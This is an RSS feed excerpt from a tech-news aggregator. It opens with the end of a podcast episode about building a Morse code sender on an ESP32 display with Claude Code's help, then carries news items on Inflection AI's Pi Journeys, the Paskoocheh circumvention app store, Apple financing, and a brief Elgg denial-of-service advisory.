Then I had a thought.  I prompted Claude:

</p>

<p>


</p>

<p>

If I were to take a picture of the screen on the cheap yellow display and copy it into the output folder, would you be able to analyze it to better determine what is wrong and how to fix it?

</p>

<p>


</p>

<p>

Shockingly, Claude answered in the affirmative, and told me to copy the picture to the output folder and let it know when to proceed.  It analyzed the picture and more of the supporting files it had copied from my GitHub, asking each time if it could access that file.  It determined that my original code was written for a flavor of LVGL version 8 and I was now using LVGL 9.5.  

</p>

<p>


</p>

<p>

It recommended changes, and then asked permission to make those changes, file by file.  .h files &amp; .c files,  Finally, I just gave it permission to edit the files in the project folder without asking for permission for each file each time.  Claude was still explaining each change, showing me exactly what would be changed, and asking for permission, so that I could review all of the changes.  But now it was not asking additional permission to write to each of the impacted files.

</p>

<p>


</p>

<p>

Next, Code compiled and downloaded.  Different screen, but not right. Again, I took a picture and gave it to Claude to analyze.  So, Claude paused and altered the code to generate a specific test pattern overtop of the GUI.

</p>

<p>


</p>

<p>

</p>

<p>

<a href="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_2.jpeg">
<img src="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_2_tn.jpeg">
</a>

</p>

<p>


</p>

<p>

The test pattern was supposed to cover the entire rectangular screen.  But parts of the pattern were in a square on the screen and parts were not.  Another photograph and analysis, told Claude that there were some rotation/screensize issues.

</p>

<p>


</p>

<p>

We repeated this several times.  Some resulted in improvement, and others did not.

</p>

<p>


</p>

<p>

This is the point where I noticed something interesting. Not about Claude, specifically, or about the app.  But I noticed something interesting about myself and about the process.

</p>

<p>


</p>

<p>

Previously, when I was working through some of these challenges without Claud, I found myself becoming more and more stressed, frustrated, and angry, until I found a solution.  Then another problem would repeat the cycle.  Success in the end was great, but the emotional extremes during the process were not always pleasant.  

</p>

<p>


</p>

<p>

Now, I was effectively managing the project, and relaying information to the resource responsible for fixing the problems -- a very different experience.

</p>

<p>


</p>

<p>

But I also ran into another issue.  Claude became absolutely certain that the problem revolved around the device not accurately knowing where the 4 corners of the screen were.  But in reality, the output of the test pattern was rotated 90 degrees from the actual screen.  It took several iterations of me insisting that the problem had to do with screen orientation and not corner coordinates.  It was interesting to experience the tool doubling down on an obvious mistake, but we finally resolved that.

</p>

<p>


</p>

<p>

Again, while it was frustrating, it was much less stressful.

</p>

<p>


</p>

<p>


</p>

<p>

We proceeded to 
<strong>

<em>
Phase 2: Persistent Message Storage</em>

</strong>

where we ensured that the button labels on the send screen were stored in the devices persistent storage, so that, when they are edited to contain the message they should send, that information would survive a reboot.

</p>

<p>


</p>

<p>

Next, we combined elements of 
<strong>

<em>
Phase 5: Morse Code Engine</em>

</strong>

, 
<strong>

<em>
Phase 6: Non-Blocking LED Transmission</em>

</strong>

, and 
<strong>

<em>
Phase 7: Wire the Send Buttons</em>

</strong>

together. Building the morse code engine was an area I had been thinking about for a while.  I already had working parts of something similar in the Arduino practice oscillator I have referenced a few times in this series.  The code for the practice oscillator may be found on my GitHub, but it was all based on original code from jmharvey1, with my only contribution being making pin assignments variables so that the code could easily be ported to different devices.  

</p>

<p>


</p>

<p>

So, I was happy that we were building the morse code engine directly.  The code for it may be found in morse.h, which uses a constant character lookup table to define each character.  Without any specific direction from me, Claude used the PARIS timing methods I have already described within Episode 6 of this series.  It defines timing for DOT, DASH, LETTER_GAP, and WORD_GAP, and all are based on a simple calculation of 1200 ms / the number of words per minute (WPM) we wish to transmit.

</p>

<p>


</p>

<p>

Along the way, we discovered that, if we tried to use the delay() function, it would crash the program due to a conflict with the LVGL timer used for touchscreen inputs. Claude altered all the delays accordingly.

</p>

<p>


</p>

<p>

Then, 
<strong>

<em>
Phase 3: Config Screen — Slot Selection &amp; Speed</em>

</strong>

allowed us to configure the WPM we wished to use in addition to selecting a specific Send button to reconfigure.  This forced us to work on 
<strong>

<em>
Phase 4: Keyboard Screen — Capture and Save Text</em>

</strong>

which is used to type the entries for each Send button.  At this point, I also decided that we would want to also use the Keyboard Screen to send ad hoc morse as we typed it.

</p>

<p>


</p>

<p>

During this phase we discovered several bugs which seemed to cause random freezes.  Careful troubleshooting with messages output to the Arduino IDE's serial console helped us narrow down the causes and remedy them.

</p>

<p>


</p>

<p>

Finally all the tests worked and I am able to merrily pre-configure macro buttons with custom messages and use the CYD to send the morse code for those messages to the on-board LED at whichever rate I specify.

</p>

<p>


</p>

<p>

I have noticed in my presentation of this narrative that I repeatedly slip into the first person plural terms "we" and "us" instead of the first person singular terms "I" and "me".  I have unconsciously personified Claud and recognized it as an integral part of my (formerly one person) development team.

</p>

<p>


</p>

<p>

I finally configured Claude to connect to my GitHub repo and upload all the files and documentation. We additionally created a CYD-Narrative.md file which describes in more detail all the work which was done on the project.  I still do not 100% get git, but we are successfully using it.

</p>

<p>


</p>

<p>

You can find all these files in my GitHub repo (
<a href="https://github.com/jttrey3/CYD_MorseSender" rel="noopener noreferrer" target="_blank">
https://github.com/jttrey3/CYD_MorseSender</a>

) where they are shared under a GPL 3.0 license.

</p>

<p>


</p>

<p>

There are still several additional steps I plan to complete in the next few months.  

</p>

<p>


</p>

<p>

1. I will be integrating an opto-isolated relay which will allow me to plug the device into the straight key input on any amateur radio.  This will require a battery power source, charge controller, and more hardware.

</p>

<ol>

<li>

I... make that "We" (Claude &amp; I)  will be modifying the code to support an audio side tone through an attached speaker when sending code

</li>

<li>

We will add an output selection switch to the config page to choose any combination of speaker, relay, or LED as output.

</li>

<li>

We will develop a downloadable firmware which I hope to share with the Cheap Yellow Display community.

</li>

</ol>

<p>


</p>

<p>

If you can think of any additional features you would like to see integrated, please drop me an email using the address in my HPR profile.

</p>

<p>


</p>

<p>

I may also work with a friend to attempt to 3d print a case for the entire contraption, and I will be sure to record additional episodes sharing the process.

</p>

<p>


</p>

<p>

I have learned so much throughout this project, about the CYD, ESP32, GUIs, Claude Code, GitHub, and most of all, about myself.  

</p>

<p>


</p>

<p>

Does using AI to develop this code make me a fraud? It still feels like it in some ways.  

</p>

<p>


</p>

<p>

Does it make me more productive?  ABSOLUTELY!  I made consistent forward progress when I only had 30-60 minutes each day to work on it, and everything discussed in this episode was completed in less than a week.  If I had been able to work on it for a few hours uninterrupted, it may have only taken me 3-5 hours.

</p>

<p>


</p>

<p>

Does it empower and inspire me to do more projects like this?  100%  I feel like I had support working with me the whole way.  I was less stressed overall, and it had less of an impact on the amount of and quality of time I spent with my family.

</p>

<p>


</p>

<p>

I will be wrapping up this series soon, without any more 6 month gaps, I hope.

</p>

<p>


</p>

<p>

Until next time...

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4689/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Inflection AI returns to consumer market with Pi Journeys after Microsoft upheaval]]></title>
<description><![CDATA[Inflection AI, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative ...]]></description>
<link>https://tsecurity.de/de/3687581/it-nachrichten/inflection-ai-returns-to-consumer-market-with-pi-journeys-after-microsoft-upheaval/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687581/it-nachrichten/inflection-ai-returns-to-consumer-market-with-pi-journeys-after-microsoft-upheaval/</guid>
<pubDate>Wed, 22 Jul 2026 22:58:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://inflection.ai/">Inflection AI</a>, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative thesis: the next competitive battleground in AI won't be raw intelligence, but relationships.</p><p>The company launched <a href="https://inflection.ai/labs">Inflection AI Labs</a>, a public-facing research and experimentation arm, alongside <a href="https://inflection.ai/labs/pi-journeys">Pi Journeys</a>, the lab's first product experiment — an AI experience designed to adapt to a user's life stage, whether that's becoming a parent, taking on caregiving duties, changing careers, or aging. The announcement arrived with a research report on consumer AI habits and a substantial update to Pi, the company's flagship chatbot, adding improved voice, memory, and new agentic tools for reminders, to-do lists, and shopping.</p><p>"Inflection AI is the company. Pi is our flagship consumer product. Inflection AI Labs is where we experiment, explore personal intelligence and share more publicly. Pi Journeys is the first public experiment from Inflection AI Labs," CEO Sean White told VentureBeat in an exclusive interview.</p><p>Behind the tidy org chart is a far more interesting story: a company attempting one of the more unusual second acts in the AI industry, powered by an argument that the entire market is optimizing for the wrong thing.</p><h2><b>Why Inflection AI believes the chatbot era's biggest flaw is that it's transactional</b></h2><p>White's central claim is that today's AI assistants — including the industry's most capable models — are fundamentally transactional. You ask, they answer, the session ends. He believes that architecture misses most of what people actually need from artificial intelligence in their daily lives.</p><p>"One of the things that really struck us in particular, and this showed up in the research, was that a lot of the work is very transactional, and you'll hear me say a lot that we've been shifting all this from transactional to relational systems," White said. "Not everything is going to be: I do a single turn, I utter a question, I get a search response back."</p><p>White frames the industry's evolution as a progression through four kinds of intelligence. First came raw IQ — the foundation model race. Then emotional intelligence, which Inflection made its signature with Pi's famously warm conversational style. Then agentic intelligence — AI that acts rather than just talks — which White says Inflection absorbed from its enterprise work. The fourth, and the one Inflection is now staking its future on, is what the company calls relational intelligence: AI that understands not just you, but the web of people around you.</p><p>"There's so much fear about these things pushing people into loneliness,” White said. “If we design these pro-social systems as another design criteria, that actually makes a huge difference."</p><p>That design philosophy is a pointed counter-narrative to one of the loudest anxieties in consumer AI right now: that <a href="https://www.media.mit.edu/articles/chatgpt-may-be-making-us-lonelier/">emotionally engaging chatbots deepen isolation</a> by substituting for human contact. Inflection argues the opposite is possible — that an AI with structured knowledge of your relationships can push you back toward people rather than away from them.</p><h2><b>Inside Pi Journeys, the AI companion that maps your relationships and life stages</b></h2><p><a href="https://inflection.ai/labs/pi-journeys">Pi Journeys</a> makes that idea concrete. When users first open the product, it asks about their life stage — caregiver, household manager, midlife transition — and then builds what White describes as specially structured memory around the people who matter in that context. From there, the system becomes proactive.</p><p>"It starts to build up memories around that, and it acts as a memory prosthetic — but in a pro-social way," White said. "It doesn't get in the way of your interactions with other people; it really helps facilitate them." The system might remind a user, for example, that a friend deserves a call, or resurface what was last discussed with a family member involved in a parent's care.</p><p>White, who spent years as chief R&amp;D officer at Mozilla before taking Inflection's helm, was quick to flag the obvious privacy implications of an AI that maps your social graph. "We've built a lot of privacy systems into this," he said, noting users can delete and manage the people recorded in their profile. Whether consumers will trust a venture-backed AI company with a structured database of their most important relationships remains one of the biggest open questions hanging over the product — and one that enterprise buyers evaluating Inflection's technology will watch closely.</p><p>Asked why this was the first Labs experiment, White was direct: "Pi Journeys takes into account people's life stages and experiences because we have heard from users that we can provide more value in helping them navigate their lives. Pi Journeys lets us experiment with the early stages of prosocial and relational intelligence because life isn't single-player."</p><p>The product has been tested internally and with small closed groups, White said, and is now being released more broadly as an experiment rather than a finished product — a posture the Labs branding is designed to make explicit.</p><h2><b>What Inflection's consumer AI research reveals about how people actually use chatbots</b></h2><p>Inflection Labs' first publication, the <a href="https://inflection.ai/state-of-consumer-ai-2026">State of Consumer AI Research Report</a>, offers the empirical scaffolding for the strategy. The average consumer now uses roughly two different AI tools every day and three per week, the company found — evidence, in Inflection's reading, that no single assistant has locked up consumer loyalty and that the market remains contestable.</p><p>More telling is why people choose the tools they do. Respondents cited personalization, style and tone, context awareness, and — notably — emotional understanding as deciding factors. They also said they want AI to be more than a productivity engine: a coach or mentor to motivate them, a chef to suggest recipes, a DJ to curate playlists.</p><p>"One thing we're certainly finding is that a lot of that also is in work, not so much in everyday life," White said. "That's our focus right now — the everyday life part."</p><p>This is a shrewd reading of the competitive map. The best-funded AI labs are pouring resources into coding tools, enterprise agents, and developer platforms, leaving everyday consumer use cases comparatively underserved. White sees the gap clearly. "We see a lot of products that are being aimed more and more at the enterprise," he said. "As a computer scientist by training, I kind of love the IDEs as this tool, but it's not really great for everybody. There's so much regular everyday use from folks that is either purely voice or that is purely mobile."</p><p>He recalled a conversation with a conference staffer who told him she owned only a phone, no laptop — exactly the kind of user, he argued, that the industry's developer-centric product roadmaps have left behind.</p><h2><b>How the $650 million Microsoft deal hollowed out Inflection — and set up its second act</b></h2><p>To understand why any of this is remarkable, you have to rewind to March 2024. Inflection was then one of the hottest startups in AI, having <a href="https://www.reuters.com/technology/inflection-ai-raises-13-bln-funding-microsoft-others-2023-06-29/">raised $1.3 billion in mid-2023</a> in a round backed by Microsoft, Nvidia, Bill Gates, and Reid Hoffman — more than $1.5 billion in total. Pi had crossed one million daily active users, per Reuters.</p><p>Then, in a deal that reshaped how the industry thinks about acqui-hires, Microsoft hired away co-founder and CEO Mustafa Suleyman, chief scientist Karén Simonyan, and most of the company's roughly 70 employees, paying Inflection about $650 million largely to license its technology, as <a href="https://www.bloomberg.com/news/articles/2024-03-21/microsoft-to-pay-inflection-ai-650-million-after-scooping-up-most-of-staff">Reuters reported</a>. Suleyman now runs Microsoft's consumer AI business. The structure of the deal drew scrutiny from the FTC and Britain's competition regulator, though the UK's Competition and Markets Authority cleared it in September 2024 and EU regulators declined to act.</p><p>White, installed as CEO in the aftermath, steered the remnant company hard toward enterprise, acquiring three startups in late 2024 — <a href="http://jelled.ai/">Jelled.AI</a>, <a href="https://boostkpi.com/">BoostKPI</a>, and the European consulting firm <a href="https://www.boundaryless.com/">Boundaryless</a> — and <a href="https://techcrunch.com/2024/11/26/inflection-ceo-says-its-done-competing-to-make-next-generation-ai-models/">telling TechCrunch</a> that November that Inflection had no intention of competing with companies building 100,000-GPU frontier systems.</p><p>Tuesday's announcement doesn't reverse that position so much as complicate it. Asked how to think about the company today, White called it "a consumer-first strategy that bridges both consumer and enterprise efforts" — and he insists the two sides feed each other.</p><p>Enterprise deployments, including a partnership with Intel that is among the few he can name publicly, taught Inflection how to run models inside complex infrastructure. Consumer products, meanwhile, let the company iterate at speed. "The part I also like about the consumer side, and this has always been true, is that we can move faster, experiment faster, and try and learn faster," White said.</p><h2><b>The six-month prediction: relationship-aware AI is coming to the enterprise</b></h2><p>Buried in White's consumer pitch is the claim that should matter most to technical decision-makers. "Normally I'd say like a year, but let's call it six months," he said. "You're going to start to see a bunch of enterprises care a lot more about the relationships that are inside the enterprises and what that picture is, not just the workflows."</p><p>If White is right, the wave of workflow-automation agents currently flooding the enterprise market is only the first phase of business AI adoption — with relationship-aware systems, tested first on consumers, following close behind. Inflection is essentially using its consumer products as a live laboratory for capabilities it plans to sell into companies. It's a capital-efficient strategy for a firm that can no longer outspend rivals on training runs, and a risky one, since it depends on consumers showing up in numbers large enough to generate the learning.</p><p>The technical substance underneath is equally pragmatic. Pi today runs not on a single proprietary frontier model but on an orchestration layer routing across many models — some descended from Inflection's original fully trained cores, some fine-tuned, some open source, including work with Nvidia that White says gives Inflection access to unreleased cutting-edge models. He also took a swipe at the industry's loose vocabulary around ownership: "When people say that the model is their own, most of the time nowadays — I guess I won't name names — a lot of companies will actually take a checkpoint, and then they will fine-tune from that checkpoint. But very few people actually start from that beginning core."</p><p>That candor extends to open source, where White carefully hedged. "We're not ready to promise what I think of as true open source, and by that I mean everything," he said, invoking his Mozilla years overseeing genuinely open projects like <a href="https://rust-lang.org/">Rust</a> and <a href="https://webassembly.org/">WebAssembly</a>.</p><p>Weights without training data and pipelines, he argued, often leave developers unable to do anything meaningful with a supposedly "open" model. "We are a PBC, and there's still a C in there," he added — a reminder that public benefit corporations still have businesses to protect. The Labs will collaborate with academic researchers, including Stanford professors who visited the company's Palo Alto office this week, and continue contributing to open projects such as <a href="https://pytorch.org/">PyTorch</a>.</p><h2><b>Can a diminished Inflection compete with AI giants spending billions?</b></h2><p>Reid Hoffman, the LinkedIn co-founder who co-founded Inflection and stayed on through the Microsoft upheaval, framed the announcement in the sweeping terms of his recent writing on AI and human agency. "Humans should be amplified by AI, not replaced. That's the principle Pi was built on," <a href="https://finance.yahoo.com/technology/ai/articles/inflection-ai-shaping-future-personal-130000573.html">Hoffman said</a> in the announcement. "When that kind of agency is available to everyone, you get superagency."</p><p>The skeptic's case is easy to make. Inflection is a fraction of its former size, competing for consumer attention against products from companies spending tens of billions of dollars a year. Pi's model was state of the art in 2023; it is not in 2026. And "<a href="https://www.linkedin.com/posts/inflectionai_inflection-ai-is-shaping-the-future-of-personal-activity-7485407087926312960-fqCl/">relational intelligence</a>" is, for now, a brand claim awaiting proof.</p><p>But the bull case is not crazy either. Inflection's own research shows consumers already juggle multiple AI tools and choose them for qualities — tone, emotional understanding, personalization — that frontier labs treat as afterthoughts. The company kept its technology, its Microsoft licensing windfall, and a defensible enterprise niche in on-premise, emotionally intelligent deployments. And it is targeting the one consumer segment — everyday, mobile-first, voice-first life management — that the coding-obsessed giants have largely ignored.</p><p>Asked what success looks like twelve months from now, White declined to talk numbers. "It's less about scale for scale's sake and more about scaling for impact by empowering people and improving their lives," he said. "Over the next year, success means leading the market towards relational intelligence and transforming AI interactions from transactional to relational."</p><p>Two years ago, Microsoft walked away with Inflection's founders, its staff, and its shot at the frontier — but it left behind the one idea the giants still haven't figured out how to build: an AI that knows the people in your life matter more than the tasks on your list. Inflection is betting the company, again, that the idea was the valuable part all along.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tesla spending skyrockets as Cybercab, Semi, Megapack production timeline slips]]></title>
<description><![CDATA[Tesla's 26% boost in revenue wasn't enough to offset rising operating expenses and capital expenditures as it pushes to launch a new generation of products.]]></description>
<link>https://tsecurity.de/de/3687573/it-nachrichten/tesla-spending-skyrockets-as-cybercab-semi-megapack-production-timeline-slips/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687573/it-nachrichten/tesla-spending-skyrockets-as-cybercab-semi-megapack-production-timeline-slips/</guid>
<pubDate>Wed, 22 Jul 2026 22:58:07 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Tesla's 26% boost in revenue wasn't enough to offset rising operating expenses and capital expenditures as it pushes to launch a new generation of products.]]></content:encoded>
</item>
<item>
<title><![CDATA[Paskoocheh: When you need a tool to reach the tool]]></title>
<description><![CDATA[++ This guest post is part of a spotlight series on the organizations defending the free Internet.++
Due to heavy information controls, people in Iran face significant barriers to accessing the Internet. Authorities have actively blocked numerous websites and apps, including conventional circumve...]]></description>
<link>https://tsecurity.de/de/3687545/it-security-tools/paskoocheh-when-you-need-a-tool-to-reach-the-tool/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687545/it-security-tools/paskoocheh-when-you-need-a-tool-to-reach-the-tool/</guid>
<pubDate>Wed, 22 Jul 2026 22:34:54 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<article class="blog-post">
    <picture>
      <source media="(min-width:415px)" srcset="https://blog.torproject.org/when-you-need-a-tool-to-reach-the-tool-Paskoocheh/lead.webp" type="image/webp">
<source srcset="https://blog.torproject.org/when-you-need-a-tool-to-reach-the-tool-Paskoocheh/lead_small.webp" type="image/webp">

      <img class="lead" referrerpolicy="no-referrer" loading="lazy" src="https://blog.torproject.org/when-you-need-a-tool-to-reach-the-tool-Paskoocheh/lead.png">
    </picture>
    <div class="body"><p><em><strong>++ This guest post is part of a spotlight series on the organizations <a href="https://internetfreedom.torproject.org/">defending the free Internet</a>.++</strong></em></p>
<p>Due to heavy information controls, people in Iran face significant barriers to accessing the Internet. Authorities have actively blocked numerous websites and apps, including conventional circumvention and digital security tools such as VPNs, social media platforms, and the app stores themselves. This creates a "chicken-and-egg" problem: users need a VPN to download a VPN.</p>
<p>Launched in 2016, <a href="https://paskoocheh.com/">Paskoocheh</a>, Persian for "alleyway," is an open source alternative app store, community hub, and one-stop-shop for users to access information and tools to circumvent censorship, enhance their privacy, securely communicate, and express themselves freely online. Developed and maintained by ASL19, a technology and exiled media organization named after Article 19 of the Universal Declaration of Human Rights, Paskoocheh restores access and allows people to reach trusted tools through four censorship-resilient channels: the Paskoocheh website, Android App, Email bot, and Telegram bot. </p>
<p>Users are also able to reach our Persian-speaking support team through the Paskoocheh Helpdesk, which handles over 200 tickets daily. In addition, ASL19 translates and publishes accessible user guides, <a href="https://paskoocheh.com/blog/posts/">blog posts</a>, and multimedia content to help users navigate online privacy and digital security best practices.</p>
<p>Paskoocheh serves as more than an alternative app store; it is also a bridge between tool developers and in-country users. Our support team relays user feedback to tool developers, helping improve tools and overall experience in Iran. We also conduct in-country testing with developers and user communities to evaluate new features and strengthen censorship-resilient technologies.</p>
<h2>Paskoocheh's impact so far</h2>
<p>This combination of access, user support, and education has turned Paskoocheh into a critical lifeline for users in Iran.</p>
<ul>
<li><p><strong># of tool downloads since 2016:</strong>   17,634,852 </p>
</li>
<li><p><strong># of community members in Iran supporting testing and localization efforts:</strong>  2,000+</p>
</li>
<li><p><strong># of monthly active users on web and app:</strong>  ~200K</p>
</li>
</ul>
<p>During periods of internet disruption and nationwide protests in Iran, these tools became critical communication lifelines. One longtime user wrote to us: </p>
<blockquote><p><em>"I've been using this free app for several years now. It's free, unique, and unlike others, it has no equal." Reflecting on the broader digital environment in the country, they added that "in these difficult economic conditions, people are struggling just to survive, while many apps either empty people's pockets, deceive and lie to them, or serve as tools for spying and propaganda."</em></p>
</blockquote>
<p>Messages like these highlight the importance of privacy-preserving technologies in environments where surveillance, censorship, and disinformation shape everyday life online. In moments of crisis, internet freedom tools become part of how people maintain relationships, exchange trusted information, and stay connected to the outside world. For some users, these tools also made it possible to continue reporting on events on the ground, verify information during periods of state-backed disinformation, and safely communicate evidence of abuses despite widespread surveillance and connectivity disruptions.</p>
<h2>The future of Paskoocheh: Scaling a community-first approach to internet freedom</h2>
<p>As internet censorship tactics evolve rapidly, internet shutdowns are becoming more frequent and more sophisticated, cutting communities off from information, communication, and one another. </p>
<p>What we have learned through this work is that access alone is not enough. Technology is only useful if people trust it, understand how to use it safely, and can rely on support networks when digital spaces become unstable or dangerous.</p>
<p>That is why our work extends beyond technical development. Alongside building secure access technologies, ASL19 invests heavily in user education, digital security guidance, and community capacity building. Every support ticket answered, training delivered, and piece of digital safety guidance shared helps people stay connected under pressure. </p>
<p>This human-centered approach is becoming increasingly important as authoritarian tactics evolve globally. During internet shutdowns and heightened censorship, local helper communities often become the first line of assistance for journalists, activists, students, and ordinary citizens. </p>
<p>With additional support, ASL19 aims to continue expanding Paskoocheh beyond its current capacity into a broader resilience ecosystem that combines technical innovation with stronger on-the-ground support systems. This includes improving access to trusted circumvention and privacy tools during shutdowns, expanding multilingual user support and educational resources, and deepening collaboration with communities operating under digital authoritarianism. </p>
<p>This work is not solely about technology products. At a moment when most people's understanding of the internet is shaped by the little squares in their pockets, it is important to acknowledge and support the broader ecosystems that make access possible. Civil society, independent media, and grassroots communities all play a part in helping people survive under pressure. This is why partnerships within the internet freedom ecosystem matter. Living under digital authoritarianism means that these are not abstract protections against hypothetical risks, but practical tools that make journalism, organizing, education, and communication possible in the first place. </p>
<h3>About ASL19</h3>
<p>Named after Article 19 of the Universal Declaration of Human Rights, ASL19 is a technology and exiled media organization working to counter digital authoritarianism. For more than a decade, we have partnered with civil society groups, journalists, researchers, activists, and internet users living under some of the world's most restrictive online environments. Guided by the belief that privacy and internet freedom are essential to safe communication, access to information, and civic participation, ASL19 develops technologies and support systems that help people navigate censorship, surveillance, internet shutdowns, and information manipulation. In countries such as Iran, Russia, and China, these tools serve as critical lifelines, enabling people to communicate securely, access information, document human rights abuses, and stay connected to the outside world.</p>

    </div>
  <div class="categories">
    <ul><li>
        <a href="https://blog.torproject.org/category/community">
          community
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/human-rights">
          human rights
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/partners">
          partners
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/fundraising">
          fundraising
        </a>
      </li></ul>
  </div>
  </article>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Partners With Klarna To Offer iPhones, Macs On a Subscription Basis]]></title>
<description><![CDATA[Apple is reportedly launching a Klarna financing deal that will let U.S. customers spread the cost of devices over up to three years, pushing the company closer to a hardware-as-a-service model. "The only thing you don't get under the new arrangement is AppleCare, for which you'll allegedly need ...]]></description>
<link>https://tsecurity.de/de/3687501/it-security-nachrichten/apple-partners-with-klarna-to-offer-iphones-macs-on-a-subscription-basis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687501/it-security-nachrichten/apple-partners-with-klarna-to-offer-iphones-macs-on-a-subscription-basis/</guid>
<pubDate>Wed, 22 Jul 2026 22:12:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is reportedly launching a Klarna financing deal that will let U.S. customers spread the cost of devices over up to three years, pushing the company closer to a hardware-as-a-service model. "The only thing you don't get under the new arrangement is AppleCare, for which you'll allegedly need to pay extra," notes Computerworld. From the report: The introduction of the scheme gives consumers a way to purchase the company's popular high-end devices when they are introduced -- no doubt,at higher cost -- this fall. [...] A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. "Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do," [IDC analyst Francisco Jeronimo] wrote to me.
 
There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but probably can't afford to own.
 
The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but abandoned that plan as it became riskier with rising bank rates. "Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet," Jeronimo said. 
"Apple Upgrade lands at precisely the moment Apple needs it," Jeronimo wrote in a note seen by Computerworld. "Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September -- as well as the new iPhone foldable expected at $2,500 -- Apple's real risk is that rising prices even further can impact the upgrade cycle."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Apple+Partners+With+Klarna+To+Offer+iPhones%2C+Macs+On+a+Subscription+Basis%3A+https%3A%2F%2Fhardware.slashdot.org%2Fstory%2F26%2F07%2F22%2F1958256%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fhardware.slashdot.org%2Fstory%2F26%2F07%2F22%2F1958256%2Fapple-partners-with-klarna-to-offer-iphones-macs-on-a-subscription-basis%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://hardware.slashdot.org/story/26/07/22/1958256/apple-partners-with-klarna-to-offer-iphones-macs-on-a-subscription-basis?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Price-hiked iPads are a little cheaper right now]]></title>
<description><![CDATA[A number of Apple products got more expensive last month, so we’re happy to find deals wherever and whenever we can. If you’re searching for a high-end iPad, one of the more notable deals currently happening is on the 13-inch iPad Pro M5 with 512GB of storage. Normally $1,699, it’s $150 off at Am...]]></description>
<link>https://tsecurity.de/de/3687429/it-nachrichten/price-hiked-ipads-are-a-little-cheaper-right-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687429/it-nachrichten/price-hiked-ipads-are-a-little-cheaper-right-now/</guid>
<pubDate>Wed, 22 Jul 2026 21:21:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A number of Apple products got more expensive last month, so we’re happy to find deals wherever and whenever we can. If you’re searching for a high-end iPad, one of the more notable deals currently happening is on the 13-inch iPad Pro M5 with 512GB of storage. Normally $1,699, it’s $150 off at Amazon, costing […]]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-65650 | Elgg up to 6.3.4 Avatar Upload denial of service]]></title>
<description><![CDATA[A vulnerability described as problematic has been identified in Elgg up to 6.3.4. Affected by this issue is some unknown functionality of the component Avatar Upload. Such manipulation leads to denial of service.

This vulnerability is traded as CVE-2026-65650. The attack may be launched remotely...]]></description>
<link>https://tsecurity.de/de/3687418/sicherheitsluecken/cve-2026-65650-elgg-up-to-634-avatar-upload-denial-of-service/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687418/sicherheitsluecken/cve-2026-65650-elgg-up-to-634-avatar-upload-denial-of-service/</guid>
<pubDate>Wed, 22 Jul 2026 21:15:46 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability described as <a href="https://vuldb.com/kb/risk">problematic</a> has been identified in <a href="https://vuldb.com/product/elgg">Elgg up to 6.3.4</a>. Affected by this issue is some unknown functionality of the component <em>Avatar Upload</em>. Such manipulation leads to denial of service.

This vulnerability is traded as <a href="https://vuldb.com/cve/CVE-2026-65650">CVE-2026-65650</a>. The attack may be launched remotely. There is no exploit available.

Upgrading the affected component is recommended.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Plans 11 New Macs With M6 Chips, OLED MacBook Pro, New iMac and More]]></title>
<description><![CDATA[Apple is preparing to update every Mac model it sells over the next two years, with new MacBook Pro, MacBook Air, iMac, Mac mini, Mac Studio and MacBook Neo models now moving through development.



